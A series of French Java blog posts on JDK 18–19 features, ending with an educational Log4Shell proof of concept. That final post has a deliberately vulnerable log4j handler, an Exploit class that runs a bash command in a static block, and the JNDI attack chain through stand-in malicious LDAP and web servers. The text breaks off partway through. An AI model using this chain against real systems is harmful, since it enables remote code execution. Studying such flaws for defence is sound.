record Rectangle(Point hautGauche, Point basDroit) {}

Par conséquent, nous pouvons écrire le code suivant :

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, Point bd)) {
         System.out.println(hg.x() + hg.y());
    }
}

Ce qui nous intéresse dans le code est le point haut à gauche, donc nous pouvons ignorer le second point.

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, var bd)) {
         System.out.println(hg.x() + hg.y());
    }
}

En revanche, nous savons qu’un Point contient deux valeurs. Par conséquent, nous pouvons appliquer le même principe.

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point(int a, int b) hg, var bd)) {
         System.out.println(a + b);
    }
}

Support des génériques

Prenons la définition suivante pour l’enregistrement Box :

record Box<T>(T t) {}

Nous pouvons écrire le code pour le filtrage suivant :

static void test1(Box<Object> bo) {
    if (bo instanceof Box<Object>(String s)) { // (1)
        System.out.println("String " + s);
    }
}
static void test2(Box<Object> bo) {
    if (bo instanceof Box<String>(var s)) { // (2)
        System.out.println("String " + s);
    }
}

Déduction faite avec le type du paramètre s
Déduction faite avec le type dans les chevrons

Cela implique que le code ci-dessous ne compile pas

static void test3(Box<Object> bo) {
    if (bo instanceof Box<Object>(var s)) { // Erreur
        System.out.println("String " + s);
    }
}

Exhaustivité du switch

Prenons les définitions suivantes pour Forme, Triangle, Rectangle et Paire :

sealed interface Forme permits Triangle, Rectangle {}
final class Triangle implements Forme {}
final class Rectangle implements Forme {}
record Paire<T>(T x, T y) {}

Nous pouvons définir une variable comme celle-ci

Paire<Forme> p1 = ...;

L’interface Forme est une interface scellée. Cela peut être soit une classe Triangle, soit une classe de Rectangle. Nous pouvons écrire l’instruction switch suivante :

switch (p1) {
    case Paire<Forme>(Triangle  p, Forme s) -> ...
    case Paire<Forme>(Rectangle p, Forme s) -> ...
}

Ci-dessus, l’ensemble des cas de l’instruction switch est défini. Tous les combinaisons possibles sont traitées.

Maintenant, nous pouvons aussi écrire le code suivant :

switch (p1) {
    case Paire<Forme>(Triangle p, Forme s) -> ...
    case Paire<Forme>(Rectangle p, Triangle s) -> ...
    case Paire<Forme>(Rectangle p, Rectangle s) -> ...
}

Nous avons simplement décomposé le deuxième cas du switch (Rectangle p, Forme s) avec les différents cas possibles de Forme : la classe Triangle et la classe Rectangle.

Maintenant, regardons le code suivant :

switch (p2) { // Erreur !
    case Paire<Forme>(Triangle p, Rectangle s) -> ...
    case Paire<Forme>(Rectangle p, Triangle s) -> ...
    case Paire<Forme>(Forme p, Triangle s) -> ...
}

Ce dernier provoque une erreur de compilation car il manque le second cas avec le premier paramètre de type Forme et le second paramètre de type Rectangle.

Là encore, le compilateur nous aide pour traiter l’exhaustivité des cas pour l’écriture des switch.

Références

JEP 425, Virtual Threads (Preview)

dim., 15 mai 2022 00:00:00 +0200

Table of Contents

Contexte
Objectif
Utilisation
- Remarques
Compléments sur l’API
Difference sur l’API
Références

Contexte

Les threads virtuels ont été proposés dans le JDK 19. Ils sont maintenant intégré dans le build 22 du JDK 19 en accès anticipé. Cela correspond à une proposition incluant les travaux du projet Loom

Le thread au niveau de la JVM sont basés sur les threads systèmes. C’est à dire que c’est le système qui s’occupe de planifier leur execution. Cela implique que le nombre de thread est limité par le système.

Objectif

L’objectif est d’avoir un thread léger qui permettent d’avoir des milliers et des millions de thread afin de réaliser des traitements concurrents.

Les threads classiques s’appellent maintenant les threads plateformes ("a plateform thread") afin de les différencier des threads virtuels.

Le thread est démarré avec une instance de l’interface java.lang.Runnable. Ainsi, nous pouvons écrire la classe suivante :

class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + " dit Coucou");
    }
}

Utilisation

Nous pouvons tester les threads virtuels avec la commande jshell. Vu que les threads virtuels sont en mode aperçu. Il est nécessaire d’activer les aperçus avec l’option --enable-preview

bin/jshell --enable-preview

Maintenant, nous allons pouvoir créer notre classe HelloRunnable suivi d’une instance

var inst = new HelloRunnable();

Il nous reste à démarrer le thread virtuel.

Thread.startVirtualThread(inst);

A noter, que nous pouvons utiliser la méthode Thread.ofVirtual() qui utilise le pattern Builder

Thread.ofVirtual.start(inst);

Cette méthode offre deux avantages :

Nous avons une méthode similaire pour les threads plateformes

Thread.ofPlatform.start(inst);

Nous pouvons créer une instance sans démarrer le thread (ou en tout cas sans le démarrer tout de suite.)

Thread courant = Thread.ofVirtual.unstarted(inst);
courant.start();

Pour rappel, Java 8 est passé par là avec les lambas. Donc nous pouvons écrire tout simplement :

Thread.ofVirtual().start(() -> {
    System.out.println(Thread.currentThread() + " dit Coucou");
});

Remarques

En exécutant le code ci-dessus, nous obtenons la sortie suivante

VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==> VirtualThread[#25]/runnable

Le #25 est une sorte de compteur de thread virtuel. Si nous exécutons de nouveau la même commande, nous obtiendrons la sortie suivante

VirtualThread[#26]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==> VirtualThread[#26]/runnable

C’est normal car nous lançons un nouveau thread virtuel. Ce qui veut dire que la première fois, il y a eu 24 thread virtuels exécutés avant notre premier appel.

Qui les utilisent ? La JVM elle-même.

Compléments sur l’API

Il est possible de savoir si nous sommes dans un thread virtuel ou non. Nous avons la méthode Thread.isVirtual() qui renvoie un booléen.
Les méthodes Thread.join() et Thread.sleep() possède une surcharge prenant en paramètre une instance de Duration.
La méthode Thread.getId() est dépréciée. Il faut passer par la méthode Thread.threadId(). Ce dernier renvoie un identifiant.
La méthode Thread.getAllStackTraces() retourne une map de toutes les threads plateforme et non tous les threads comme son nom le laisse penser.

Cela s’explique car nous pouvons avoir des millions de threads virtuels donc il n’y a pas de sens de retourner une map aussi grosse.

Difference sur l’API

Les threads virtuels sont forcément des threads daemon. La méthode Thread.setDaemon() n’a pas d’effet.

Pensez à cela pour les conditions d’arrêt de la JVM. En effet, il faut au moins un thread plateforme sinon la JVM s’arrête.

Dans le même style, la priorité est fixée à Thread.NORM_PRIORITY. La méthode Thread.setPriority() n’a pas d’effet.
Les méthodes stop(), suspend() et resume() lèvent une exception lors de leur invocation si c’est un thread virtuel.

Pour rappel, ces méthodes sont déjà dépréciés au moins depuis le JDK 6.

Dans le même sens de l’histoire, il n’y a pas de permissions si le SecurityManager est activé.

Pour rappel, ce dernier est déprécié pour suppression depuis le JDK 17. Plus d’informations, dans ce billet JDK 17 Nouveautés

Références

JEP 425: Virtual Threads

JEP 427, Pattern Matching for switch (Third Preview)

dim., 1 mai 2022 00:00:00 +0200

Table of Contents

Contexte
Rappel : Principe
Nouveautés
- Traitement du null
- Raffinement des cas
Références

Contexte

Le filtrage par motif a été proposé initialement avec la JEP 406 inclus dans le JDK 17. La seconde version, la JEP 420 a été délivrée dans le JDK 18.

Avec la JEP 427, nous sommes donc sur le troisième opus. Au moment de l’écriture de ce billet, la JEP est proposée pour être inclus dans le JDK 19.

Rappel : Principe

Le principe est comme le filtrage par motif pour instanceof mais en l’appliquant au switch.

Pour plus d’informations sur le filtrage par motif pour instanceof, je vous conseille cette article JEP 375 - Pattern Matching for instanceof (Second Preview)

Initialement, nous avons le code suivant :

static String formatter(Object o) {
    String formatted = "unknown";
    if (o instanceof Integer i) {
        formatted = String.format("int %d", i);
    } else if (o instanceof Long l) {
        formatted = String.format("long %d", l);
    } else if (o instanceof Double d) {
        formatted = String.format("double %f", d);
    } else if (o instanceof String s) {
        formatted = String.format("String %s", s);
    }
    return formatted;
}

L’objectif est de pouvoir utiliser un filtrage par motif au niveau du switch (et même une expression switch).

static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -> String.format("int %d", i);
        case Long l    -> String.format("long %d", l);
        case Double d  -> String.format("double %f", d);
        case String s  -> String.format("String %s", s);
        default        -> o.toString();
    };
}

Pour reprendre l’ensemble des fonctionnalités du filtrage par motif, je vous conseille l’article initiale sur cette fonctionnalité JEP 406 - Pattern Matching for switch (Preview)

Nouveautés

Traitement du `null`

Jusqu’à présent, la déclaration ou l’expression switch avec une valeur null lève une exception NullPointerException. C’est pourquoi, généralement, le switch est protégé par l’instruction if.

static void testFooBar(String s) {
    if (s == null) {
        System.out.println("Oops!");
        return;
    }
    switch (s) {
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Maintenant, nous pourrons écrire un label null pour traiter ce cas. Nous pouvons écrire :

static void testFooBar(String s) {
    switch (s) {
        case null         -> System.out.println("Oops");
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Le label peut être mélangé avec un autre. Par exemple, nous pouvons écrire aussi

static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -> System.out.println("String: " + s);
        default -> System.out.println("Something else");
    }
}

Pour de raisons de compatibilité, si la valeur du sélecteur est nulle, le switch lève une exception NullPointerException. C’est à dire que le code suivant :

static void test(Object o) {
    switch (o) {
        case String s  -> System.out.println("String: " + s);
        case Integer i -> System.out.println("Integer");
        default        -> System.out.println("default");
    }
}

est équivalent à celui-ci

static void test(Object o) {
    switch (o) {
        case null      -> throw new NullPointerException();
        case String s  -> System.out.println("String: "+s);
        case Integer i -> System.out.println("Integer");
        default        -> System.out.println("default");
    }
}

Là encore, c’est le compilateur qui fait le travail.

Raffinement des cas

Au delà du motif avec le type correspondant, nous pourrions avoir des conditions supplémentaires qui permet de raffiner le cas.

Prenons un exemple avec les classes suivantes : Forme, Rectangle et Triangle :

class Forme {}
class Rectangle extends Forme {}
class Triangle  extends Forme { int calculerAire() { ... } }

static void testTriangle(Forme f) {
    switch (f) {
        case null:
            break;
        case Triangle t:
            if (t.calculerAire() > 100) {
                System.out.println("Grand triangle");
                break;
            }
        default:
            System.out.println("Une forme, qui peut être un petit triangle");
    }
}
----

Avec cette JEP, un nouveau mot-clé when est introduit. Il permet de raffiner le cas. Dans notre exemple, nous avons t.calculateArea() > 100

static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() > 100 ->
            System.out.println("Grand triangle");
        default ->
            System.out.println("Une forme, qui peut être un petit triangle");
    }
}

Là encore, il est possible de mixer les composants :

static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() > 100 ->
            System.out.println("Grand triangle");
        case Triangle t ->
            // Soit les triangles inférieur ou égale à 100
            System.out.println("Petit triangle");
        default ->
            System.out.println("Forme autre que triangle");
    }
}

Personnellement, j’adore cette possibilité. et vous ?

Références

Au revoir, au mot de passe le plus connu du monde Java

dim., 13 févr. 2022 00:00:00 +0100

Table of Contents

Contexte
PKCS#12
Deux changements dans le JDK 18
- JDK-8275252: Migrate cacerts from JKS to password-less PKCS12
- JDK-8231107: Allow store password to be null when saving a PKCS12 KeyStore
Conclusion
Références

Contexte

En java, lorsque nous voulons faire des communications sécurisées, nous manipulons des certificats. Pour cela, nous devons généralement ajouter des certificats dans le magasin de clés (keystore). Les configurations peuvent être particulière mais généralement, c’est le fameux cacerts qui est utilisé.

keytool -list -cacerts

Nous obtenons la traditionnelle question où généralement, nous écrivons changeit

Entrez le mot de passe du fichier de clés :

Avec un JDK plus anciens (< = 8), il faut préciser le magasin en question même si c’est celui par défaut keytool -list -keystore java.home/lib/security/cacerts

Le mot de passe est connu par beaucoup de développeur Java ou administrateur système exploitant des applications Java.

L’information est connue. Elle est tout simplement écrite dans les pages du manuel.

The initial password of the cacerts keystore file is changeit.
System administrators should change that password and
the default access permission of that file upon installing the SDK.

PKCS#12

A l’instar du format JKS (Java KeyStore) spécifique à Java, le format PKCS#12 est une norme de la famille des standards de cryptographie à clé publique (Public-Key Cryptography Standards [PKCS])

Le but de ce format (comme l’était le format JKS) est d’avoir un seul fichier qui contient un ensemble de clé privés et de certificats.

Cette norme est supportée par la commande openssl.

Le support du format PKCS#12 a été introduit au fur et à mesure des versions de Java.

Une étape importante est franchie dans le JDK 9. En effet la JEP 229 définit le format PKCS12 comme format par défaut pour les magasins de clés (et non plus le format JKS). Cela donne le top départ pour la phase de transition vers PKCS#12 (soit 5 ans depuis septembre 2017) en gardant toujours le support de JKS (aujourd’hui encore)

Deux changements dans le JDK 18

Les deux points que nous allons voir ne sont pas des JEP mais simplement des améliorations.

Comme quoi, il est toujours intéressant de lire les notes de version lors de la sortie d’un JDK.

JDK-8275252: Migrate cacerts from JKS to password-less PKCS12

Le magasins de clé cacerts sera à partir du JDK 18 au format PKCS#12.

Par exemple, en utilisant la commande keytool pour voir le contenu du magasin par défaut du JDK 17, nous voyons que le format utilisé est le format JKS.

/opt/jdk-17.0.1+12/bin/keytool -list -cacerts | head
Enter keystore password:  changeit
Keystore type: JKS
Keystore provider: SUN

Your keystore contains 128 entries

c=at,o=e-commerce monitoring gmbh,cn=globaltrust 2020, Oct 20, 2021, trustedCertEntry,
Certificate fingerprint (SHA-256): 9A:29:6A:51:82:D1:D4:51:A2:E3:7F:43:9B:74:DA:AF:A2:67:52:33:29:F9:0F:9A:0D:20:07:C3:34:E2:3C:9A
c=be,o=globalsign nv-sa,cn=globalsign root e46, Oct 20, 2021, trustedCertEntry,
Certificate fingerprint (SHA-256): CB:B9:C4:4D:84:B8:04:3E:10:50:EA:31:A6:9F:51:49:55:D7:BF:D2:E2:C6:B4:93:01:01:9A:D6:1D:9F:50:58
c=be,o=globalsign nv-sa,cn=globalsign root r46, Oct 20, 2021, trustedCertEntry,
...

Maintenant, avec le JDK 18, en utilisant la commande keytool pour voir le contenu du magasin de clé cacerts fournis, le format est PKCS12.

/opt/jdk-18/bin/keytool -list -cacerts | head
.Keystore type: PKCS12
Keystore provider: SUN

Your keystore contains 89 entries

actalisauthenticationrootca [jdk], Mar 2, 2022, trustedCertEntry,
Certificate fingerprint (SHA-256): 55:92:60:84:EC:96:3A:64:B9:6E:2A:BE:01:CE:0B:A8:6A:64:FB:FE:BC:C7:AA:B5:AF:C1:55:B3:7F:D7:60:66
addtrustexternalca [jdk], Mar 2, 2022, trustedCertEntry,
Certificate fingerprint (SHA-256): 68:7F:A4:51:38:22:78:FF:F0:C8:B1:1F:8D:43:D5:76:67:1C:6E:B2:BC:EA:B4:13:FB:83:D9:65:D0:6D:2F:F2
addtrustqualifiedca [jdk], Mar 2, 2022, trustedCertEntry,
...

JDK-8231107: Allow store password to be null when saving a PKCS12 KeyStore

Ce point correspond en réalité plus à une correction. C’est la possibilité de ne pas fournir de mot de passe. D’où la possibilité de mettre null comme valeur de mot de passe au niveau de l’API.

KeyStore magasin = magasin.getInstance("pkcs12");
...
magasin.store(outputStream, null);

Naturellement, mais c’est mieux en le précisant, nous pourrons lire un magasin PKCS12 sans mot de passe

magasin.load(inputStream, null);

Cela implique aussi que les certificats inclus dans le magasin ne seront plus chiffrés.

Conclusion

Le JDK 18 passe donc au format PKCS12 sans mot de passe pour son magasin cacerts. Il n’y aura plus de mot de passe changeit à fournir.

Cela sera plus simple et aussi protégé qu’un mot de passe connu par tout le monde.

De plus, les administrateurs pourront même utiliser la commande openssl qui leur sera peut être plus familière par rapport à la commande keytool du JDK.

En production, pour des raisons de sécurité, il sera toujours possible et nécessaire de définir un mot de passe pour les magasins de clés. Pour rappel, pas de mot de passe implique pas de chiffrement pour les certificats.

Références

JEP 400, UTF-8 par défaut

dim., 23 janv. 2022 00:00:00 +0100

Table of Contents

Contexte
- Le choix
- Passage de propriété pour jshell
Préparation
- Nouvelle propriété
- Fichier de propriétés
Cohérence de la plateforme
Compatibilité
Vérification
Compilation
Références

Contexte

L’encodage par défaut était calculé au démarrage en fonction du système d’exploitation, les paramètres régionaux de l’utilisateur ou d’autres facteurs.

En effet, qui n’a jamais eu ce type de caractère à l’écran ou dans ces fichiers ? :

UTF-8 par dÃ©faut

La solution généralement était de préciser la propriété -Dfile.encoding=…. Cela permet de fixer l’encodage par défaut.

L’objectif est de faire en sorte que UTF-8 soit l’encodage par défaut quelque soit le système. Cela permet de simplifier, d’améliorer la portabilité et notamment la cohérence de la plateforme.

Le choix

Le choix du jeu de caractère UTF-8 fut logique. C’est encodage le plus utilisé sur le web (97,7% à ce jour). C’est aussi un encodage standard au niveau de XML et JSON. Java l’utilise déjà par défaut pour l’API NIO.

A partir du JDK 18, la JVM prendra l’encodage UTF-8 par défaut. Nous pouvons le vérifier avec jshell

jshell> java.nio.charset.Charset.defaultCharset()
$4 ==> UTF-8

Pensez à importer le package java.nio.charset afin de pouvoir manipuler directement la classe Charset.

Pour bien comprendre, nous configurons notre système pour utiliser l’encodage ISO-8859-15. Pour vérifier, nous utilisons la commande locale.

LANG=fr_FR@euro
...

Ainsi, avec un JDK 17, nous obtenons

jshell> Charset.defaultCharset()
$4 ==> ISO-8859-15

Alors qu’avec un JDK 18, nous obtenons toujours UTF-8

jshell> Charset.defaultCharset()
$4 ==> UTF-8

Si nous lançons un JDK 17 en précisant la propriété file.encoding="UTF-8", nous obtenons bien l’encodage UTF-8 bien que notre système est en ISO-8859-15.

jshell> Charset.defaultCharset()
$4 ==> UTF-8

Passage de propriété pour jshell

Pour les tests, nous sommes amenés à devoir modifier les propriétés de la JVM.

Pour passer une propriété avec jshell, il faut utiliser l’option -R. Nous obtenons la ligne de commande suivante :

/../jdk-xy/bin/jshell -R-Dfile.encoding="UTF-8"

Préparation

Cela était en préparation depuis quelques temps.

Nouvelle propriété

Le JDK 17 a introduit une nouvelle propriété native.encoding. Cette propriété permet de connaitre l’encodage du système hôte. Nous comprenons d’autant plus l’intérêt de cette propriété maintenant.

Au delà de cette propriété, il est à noter que les consoles standard ou d’erreurs restent avec l’encodage natif.

Et le JDK 18 apporte une nouvelle méthode charset() sur la classe PrintStream pour connaitre directement l’encodage utilisé.

Cela permet d’en tenir compte au niveau des flux.

jshell> System.out.charset()
$5 ==> ISO-8859-15
jshell> System.err.charset();
$6 ==> ISO-8859-15

Fichier de propriétés

Pour rappel, c’est seulement à partir du JDK 9 que les fichiers de propriétés sont au format UTF-8 via la JEP 226: UTF-8 Property Resource Bundles

Cohérence de la plateforme

Je vous parlais de cohérence de la plateforme. Il faut effectivement savoir que les API n’étaient pas uniformes pour les valeurs par défaut.

Prenons l’exemple de la classe java.io.FileWriter avec deux constructeurs :

FileWriter(File file)
FileWriter(File file, Charset charset)

Le premier constructeur dépend du jeu de caractère par défaut Charset.defaultCharset(). Donc ce dernier dépendait du système et de la configuration du système.

En revanche, si je prends la classe java.nio.Files avec les méthodes lines :

Files.lines(Path path)
Files.lines(Path path, Charset charset)

Cette fois, la méthode lit le fichier avec l’encodage UTF-8. Cela est le cas pour l’ensemble des méthodes de la classe Files et de l’api NIO.

Maintenant, c’est plus simple, toutes les API sont en UTF-8 par défaut.

Compatibilité

La compatibilité reste un point fort de Java et une des préoccupations majeures lors des changements. L’équipe a prévu de garder la compatibilité avec l’ancien mode de calcul de l’encodage. Pour cela, il faut mettre à la valeur COMPAT à la propriété file.encoding

Voici le résultat sur un système Linux où la locale est toujours à ISO-8859-15.

/../jdk-xy/bin/jshell -R-Dfile.encoding="COMPAT"
  Welcome to JShell -- Version 18-ea
|  For an introduction type: /help intro

jshell> System.getProperty("file.encoding")
$1 ==> "ISO-8859-15"

Vérification

Si vous êtes concerné par le changement d’encodage, vous pouvez tester simplement l’impact en utilisant la propriété file.encoding=UTF-8. Cela donne la commande suivante

/../jdk-[8-17]/bin/java -Dfile.encoding=UTF-8 ....

Il est à noter que vous pouvez le faire tout de suite avec votre JDK.

Compilation

Parlons de compilation, mais pourquoi ?

Tout simplement parce que le compilateur Javac est aussi concerné. Ce dernier va lire et écrire les fichiers en UTF-8.

De la même manière, vous pouvez vous assurer d’ores et déjà du bon fonctionnement en précisant la propriété file.encoding.

/../jdk-[8-17]/bin/javac -Dfile.encoding=UTF-8 ....

Bien que je ne le conseille pas. Puisque les sources sont en UTF-8, il est possible d’utiliser des accents si nous le souhaitons.

class Hello {

   public static void main(String[] args) {
      String téléphone = "01.02.03.04.05";
      System.out.println("Tél : " + téléphone);
   }
}

Références

JEP 408, Un Simple Serveur Web arrive en JDK18!

dim., 2 janv. 2022 00:00:00 +0100

Table of Contents

Contexte
Ligne de commande
Utilisation
- Simuler un partenaire json
API
jshell
Références

Contexte

L’objectif est que le développeur Java puisse avoir la possibilité de lancer un serveur web, comme cela est possible en node ou python.

Le but est de fournir un serveur web simple pour renvoyer des pages statiques, sans support de CGI ou Servlet.

De même, il n’est pas là pour fournir un serveur évolué. Donc, pas de concurrence avec Eclipse Jetty, Netty et Apache Tomcat, ni avec Apache Httpd ou nginx.

Ligne de commande

L’une des nouveautés est l’introduction de la commande jwebserver

Donc, pour démarrer le serveur, il suffit de taper la commande suivante :

jwebserver

Nous obtenons les messages suivants :

Binding to loopback by default. For all interfaces use "-b 0.0.0.0" or "-b ::".
Serving /tmp and subdirectories on 127.0.0.1 port 8000
URL http://127.0.0.1:8000/

Le serveur écoute par défaut uniquement sur la boucle locale loopback. Un message nous invite à utiliser l’option pour préciser l’interface ou tous les interfaces.

D’autres options sont aussi disponibles (format court et format long):

-b ou --bind-address pour préciser l’interface réseau
-p ou --port pour préciser le numéro de port
-h ou --help pour afficher le message d’aide
-o ou --output pour afficher des informations lors de traitement des requêtes. Les valeurs possibles sont : none | info | verbose). Par défaut, c’est la valeur info.
-d ou --directory pour préciser le répertoire où les fichiers seront retournés. Par défaut, c’est le répertoire courant.

Derrière la commande jwebserver, c’est la commande java -m jdk.httpserver qui est exécuté en réalité. La nouvelle commande est présente uniquement pour simplifier l’usage.

Utilisation

Nous allons créer un répertoire temporaire sous /tmp/jdk18, par exemple, et nous créons un nouveau répertoire json à l’intérieur.

Je lance la commande en précisant ce répertoire /tmp/jdk18 comme répertoire racine

jwebserver -d /tmp/jdk18

Avec un navigateur, nous allons à l’url : http://localhost:8000/. Nous obtenons l’affichage suivant

Sans index.html, nous obtenons une page HTML généré qui liste les fichiers et les répertoires de la ressource demandée.

Maintenant, nous créons une page index.hml avec le code suivant :

<h1>Hello for JWebserver</h1>

En rafraichissant la page, nous obtenons l’affichage suivant :

A ce stade, nous pouvons développer un contenu statique avec HTML, CSS et Javascript.

Simuler un partenaire json

Nous allons maintenant créer un fichier bordeaux.json dans le répertoire json avec le contenu suivant :

{
  "DD": {
    "lat":48.85341,
    "lng":2.3488
  },
  "DMS":{
    "lat":"48º51'12.28\" N","lng":"2º20'55.68\" E"
  },
  "geohash":"u09tvmqrep",
  "UTM":"31U 452230.101975 5411364.70052959"
}

Avec le navigateur, nous pouvons aller sur la page http://localhost:8000/json. Nous obtenons la liste avec le contenu du dossier json, dont notre fichier.

Puis, en cliquant sur le nom bordeaux.json, nous obtenons la page suivante :

Les traces des appels sont visibles au niveau de la console :

127.0.0.1 - - [02/janv./2022:13:49:42 +0100] "GET /json/ HTTP/1.1" 200 -
127.0.0.1 - - [02/janv./2022:13:49:44 +0100] "GET /json/bordeaux.json HTTP/1.1" 200 -

Cela fonctionne de la même manière avec un fichier XML.

En activant la sortie à verbose, nous avons les informations sur les en-têtes passées

127.0.0.1 - - [02/janv./2022:11:38:00 +0100] "GET /json/ HTTP/1.1" 200 -
Resource requested: /tmp/jdk18/json
> Accept-encoding: gzip, deflate
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
> Sec-fetch-dest: document
> Sec-fetch-user: ?1
> Connection: keep-alive
> Sec-fetch-site: none
> Host: localhost:8000
> Dnt: 1
> Sec-fetch-mode: navigate
> User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
> Accept-language: fr,en-US;q=0.7,en;q=0.3
> Upgrade-insecure-requests: 1
>
< Date: Thu, 02 Jan 2022 10:38:00 GMT
< Last-modified: Wed, 2 Jan 2022 09:38:10 GMT
< Content-type: text/html; charset=UTF-8
< Content-length: 195
<
127.0.0.1 - - [06/janv./2022:11:38:07 +0100] "GET /json/bordeaux.json HTTP/1.1" 200 -
Resource requested: /tmp/jdk18/json/bordeaux.json
> Accept-encoding: gzip, deflate
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
> Sec-fetch-dest: document
> Sec-fetch-user: ?1
> Referer: http://localhost:8000/json/
> Connection: keep-alive
> Sec-fetch-site: same-origin
> Host: localhost:8000
> Sec-fetch-mode: navigate
> Dnt: 1
> User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
> Accept-language: fr,en-US;q=0.7,en;q=0.3
> Upgrade-insecure-requests: 1
>
< Date: Thu, 02 Jan 2022 10:38:07 GMT
< Last-modified: Wed, 2 Jan 2022 09:28:49 GMT
< Content-type: application/json
< Content-length: 159
<

API

L’idée a été d’utiliser le module jdk.httpserver qui contient l’API public com.sun.net.httpserver. C’est l’implémentation du serveur web embarqué dans le JDK depuis 2006. Ce package est officiellement supporté.

En revanche, pour faciliter l’utilisation, une classe SimpleFileServer a été défini pour simplifier la création d’un serveur web, L’interface est la suivante :

package com.sun.net.httpserver;

public final class SimpleFileServer {
    public static HttpServer createFileServer(InetSocketAddress addr,
                                              Path rootDirectory,
                                              OutputLevel outputLevel) {...}
    public static HttpHandler createFileHandler(Path rootDirectory) {...}
    public static Filter createOutputFilter(OutputStream out,
                                            OutputLevel outputLevel) {...}
    ...
}

La possibilité de rajouter l’interface réseau a été ajoutée par rapport à la version initiale.

jshell

Nous pouvons utiliser la commande jshell pour démarrer le serveur web.

import com.sun.net.httpserver.*; (1)

var server = SimpleFileServer.createFileServer(new InetSocketAddress(8000),
  Path.of("/tmp/jdk18"),
  SimpleFileServer.OutputLevel.INFO); (2)
server.start() (3)

Importer le package correspondant au serveur web
Créer une instance de notre serveur web
Démarrer le serveur web

Le tour est joué. Nous pouvons aussi ajouter un autre handler vers un autre chemin.

server.createContext("/logs",
  SimpleFileServer.createFileHandler(Path.of("/var/log")));

Et voilà, le nouveau répertoire est disponible :

Vous pouvez aller plus loin en créant votre propre handler en implémentant l’interface com.sun.net.httpserver.HttpHandler, mais cela ne correspond pas l’objectif initial.

Références

CVE-2021-44228 et Apache Log4j (2e partie)

dim., 26 déc. 2021 00:00:00 +0100

Table of Contents

Contexte
La cible
- Le code
- L’exécution
Code à exécuter
Mise en oeuvre
- Le serveur web.
- Le serveur LDAP
Exécution
JVM Récente
Conclusion
- Open Source
Références

Contexte

Ces informations sont diffusées uniquement à des fins pédagogiques. Si vous réalisez des tests, cela doit être fait sur des serveurs dont vous êtes autorisés à le faire.

Dans le billet précédent, nous avons parlé de la faille de sécurité et notamment des solutions pour s’en prémunir.

Nous avons approfondir le principe de la faille de sécurité pour mieux la comprendre et de voir pourquoi les solutions de contournement fonctionnent.

Pour exploiter la faille de sécurité, nous avons besoin du pré-requis suivants :

Une cible (une application Java avec une version de log4j vulnérable),
L’application doit afficher dans les journaux une information envoyée par l’attaquant (sans protection),
Des serveurs pour envoyer le code à exécuter.

La cible

Pour commencer, nous avons besoin d’une application vulnérable. Nous allons déveloper une application dans ce sens.

Nous utilisons une version de log4j non corrigé.

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>

Le code

Nous allons écrire un code qui pose problème, pour cela nous utilisons un handler d’un service web.

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); (1)

  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeaders().getFirst("user-agent"); (2)

    log.info("Request user-agent: {}", userAgent); (3)

    ...
  }
}

Récupération de l’instance de Logger Log4j.
Récupération d’information à partir de la requête.
Utilisation directe de l’information pour l’afficher dans le journal.

Le code complet est disponible sous github

Pour limiter les dépendances, j’utilise le serveur web inclus avec le JDK. A ce niveau, le principe est le même quelque soit la solution utilisée comme JAX-RS, Spring, Quarkus ou autres.

L’exécution

Pour le compiler, à partir du dépot, il suffit de réaliser les actions suivantes :

git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc
mvn package

Puis pour le lancer, il faut poursuivre avec les actions suivantes :

java -jar target/log4shell-poc-0.1.0.jar

Il devrait s’afficher le message suivant :

19:35:25.216 [main] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Serveur démarre....

Nous avons à ce stade remplir l’objectif des deux premiers pré-requis. C’est à dire le point 1) et 2)

Code à exécuter

Le but de ce billet est l’apprentissage, donc le code à executer sera simplement la création d’un fichier /tmp/exploit.txt.

Le code fourni fontionne uniquement sur Linux. Je laisse le soin au lecteur sous Windows de faire les modifications nécessaires vis à vis de son système.

Le code est dans un bloc statique afin qu’il soit exécuté par la JVM lors du chargement de la classe via le chargeur de classes.

public class Exploit {
    static {
        try {
        	String command = "touch /tmp/exploit.txt";
        	String[] commands = {"bash", "-c", command};

        	System.out.println("cmd : "+ commands[0]);
            int result = java.lang.Runtime.getRuntime().exec(commands).waitFor();
            System.out.println("result : "+ result);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Le code complet est disponible sous github

Mise en oeuvre

Nous devons mettre en oeuvre différentes briques pour exploiter la faille et réussir l’exécution du code sur la cible :

Serveur LDAP
Serveur Web

Nous allons étudier la séquence via le schéma suivant :

La cinématique est la suivante :

L’attaquant appelle notre cible en lui passant des informations malveillantes dans la requête. Dans notre cas, c’est l’en tête user-agent
La cible via la faille Log4j va analyser le message et appeler l’annuaire LDAP via JNDI. Dans notre cas, c’est l’url ldap://ldap-malveillant:1389
L’annuaire LDAP renvoie les informations ainsi que le code pour chargeant l’exploit
Le code malveillant va récupérer le code à exécuter via un serveur web (moyen le plus simple et le moins bloqué) Dans notre cas, c’est l’url http:// web-malveillant/…
Le serveur web retourne le code Java compilé
Le code est chargé et via le bloc statique, le code est ainsi exécuté.

Le serveur web.

